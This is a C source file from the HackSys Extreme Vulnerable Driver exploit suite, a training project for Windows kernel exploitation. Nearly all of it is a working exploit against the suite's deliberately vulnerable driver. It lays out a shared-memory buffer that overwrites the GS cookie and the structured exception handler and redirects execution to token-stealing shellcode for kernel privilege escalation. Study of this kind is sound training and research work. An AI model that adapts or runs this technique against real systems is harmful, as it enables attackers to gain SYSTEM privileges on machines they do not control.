hacksysteam-HackSysExtremeVulnerableDriver/Exploit/Source/StackOverflowGS.c

/*++

 /$$   /$$                     /$$        /$$$$$$                     
| $$  | $$                    | $$       /$$__  $$                    
| $$  | $$  /$$$$$$   /$$$$$$$| $$   /$$| $$  \__/ /$$   /$$  /$$$$$$$
| $$$$$$$$ |____  $$ /$$_____/| $$  /$$/|  $$$$$$ | $$  | $$ /$$_____/
| $$__  $$  /$$$$$$$| $$      | $$$$$$/  \____  $$| $$  | $$|  $$$$$$ 
| $$  | $$ /$$__  $$| $$      | $$_  $$  /$$  \ $$| $$  | $$ \____  $$
| $$  | $$|  $$$$$$$|  $$$$$$$| $$ \  $$|  $$$$$$/|  $$$$$$$ /$$$$$$$/
|__/  |__/ \_______/ \_______/|__/  \__/ \______/  \____  $$|_______/ 
                                                   /$$  | $$          
                                                  |  $$$$$$/          
                                                   \______/           


Copyright (C) 2010-2015 HackSys Team. All rights reserved.

This file is part of HackSys Extreme Vulnerable Driver Exploit.

See the file 'LICENSE' for copying permission.

Author : Ashfaq Ansari
Contact: ashfaq_ansari1989[at]hotmail.com
Website: http://hacksys.vfreaks.com

Project Name:
    HackSys Extreme Vulnerable Driver Exploit

Module Name:
    StackOverflowGS.c

Abstract:
    This module implements the exploit for Stack Overflow 
    Vulnerability protected by GS cookies implemented in 
    HackSys Extreme Vulnerable Driver.

--*/

#include "StackOverflowGS.h"

DWORD WINAPI StackOverflowGSThread(LPVOID lpParameter) {
    HANDLE hFile = NULL;
    DWORD lpBytesReturned;
    SIZE_T pageSize = 0x1000;
    HANDLE hSharedmemory = NULL;
    PVOID pMemoryAddress = NULL;
    PVOID pSuitableMemoryForBuffer = NULL;
    SIZE_T seHandlerOverwriteOffset = 0x214;
    LPCSTR lpFileName = (LPCSTR)DEVICE_NAME;
    LPVOID lpSharedMappedMemoryAddress = NULL;
    PVOID pEopShellcode = &TokenStealingShellcodeGSWin7;
    LPCTSTR lpSharedMemoryName = (LPCSTR)SHARED_MEMORY_NAME;

    __try {
        DEBUG_MESSAGE("\t[+] Setting Thread Priority\n");

        if (!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST)) {
            DEBUG_ERROR("\t\t[-] Failed To Set As THREAD_PRIORITY_HIGHEST\n");
        }
        else {
            DEBUG_INFO("\t\t[+] Priority Set To THREAD_PRIORITY_HIGHEST\n");
        }

        // Get the device handle
        DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
        DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName);

        hFile = GetDeviceHandle(lpFileName);

        if (hFile == INVALID_HANDLE_VALUE) {
            DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
        }

        DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");

        DEBUG_INFO("\t\t[+] Creating Shared Memory\n");

        // create the shared memory
        hSharedmemory = CreateFileMapping(INVALID_HANDLE_VALUE,
                                          NULL,
                                          PAGE_EXECUTE_READWRITE,
                                          0,
                                          pageSize,
                                          lpSharedMemoryName);

        if (!hSharedmemory) {
            DEBUG_ERROR("\t\t\t[-] Failed To Create Shared Memory: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t\t[+] Shared Memory Handle: 0x%p\n", hSharedmemory);
        }

        DEBUG_INFO("\t\t[+] Mapping Shared Memory To Current Process Space\n");

        // Map the shared memory in the process space of this process
        lpSharedMappedMemoryAddress = MapViewOfFile(hSharedmemory,
                                                    FILE_MAP_ALL_ACCESS,
                                                    0,
                                                    0,
                                                    pageSize);

        if (!lpSharedMappedMemoryAddress) {
            DEBUG_ERROR("\t\t\t[-] Failed To Map Shared Memory: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t\t[+] Mapped Shared Memory: 0x%p\n", lpSharedMappedMemoryAddress);
        }

        pSuitableMemoryForBuffer = (PVOID)((ULONG)lpSharedMappedMemoryAddress + 
                                           (ULONG)(pageSize - seHandlerOverwriteOffset));

        DEBUG_INFO("\t\t[+] Suitable Memory For Buffer: 0x%p\n", pSuitableMemoryForBuffer);

        DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");

        RtlFillMemory(lpSharedMappedMemoryAddress, pageSize, 0x41);

        pMemoryAddress = (PVOID)((ULONG)pSuitableMemoryForBuffer + 0x204);
        *(PULONG)pMemoryAddress = 0x42424242;            // overwrite xor'ed cookie

        DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Value: 0x%p\n", *(PULONG)pMemoryAddress);
        DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Address: 0x%p\n", pMemoryAddress);

        pMemoryAddress = (PVOID)((ULONG)pMemoryAddress + 0x4);
        *(PULONG)pMemoryAddress = 0x43434343;            // junk

        pMemoryAddress = (PVOID)((ULONG)pMemoryAddress + 0x4);
        *(PULONG)pMemoryAddress = 0x44444444;            // Next SE handler

        DEBUG_INFO("\t\t\t[+] Next SE Handler Value: 0x%p\n", *(PULONG)pMemoryAddress);
        DEBUG_INFO("\t\t\t[+] Next SE Handler Address: 0x%p\n", pMemoryAddress);

        pMemoryAddress = (PVOID)((ULONG)pMemoryAddress + 0x4);
        *(PULONG)pMemoryAddress = (ULONG)pEopShellcode;  // SE Handler

        DEBUG_INFO("\t\t\t[+] SE Handler Value: 0x%p\n", *(PULONG)pMemoryAddress);
        DEBUG_INFO("\t\t\t[+] SE Handler Address: 0x%p\n", pMemoryAddress);

        DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopShellcode);

        DEBUG_MESSAGE("\t[+] Triggering Kernel Stack Overflow GS\n");

        OutputDebugString("****************Kernel Mode****************\n");

        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS,
                        (LPVOID)pSuitableMemoryForBuffer,
                        (DWORD)seHandlerOverwriteOffset + RAISE_EXCEPTION_IN_KERNEL_MODE,
                        NULL,
                        0,
                        &lpBytesReturned,
                        NULL);

        OutputDebugString("****************Kernel Mode****************\n");
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}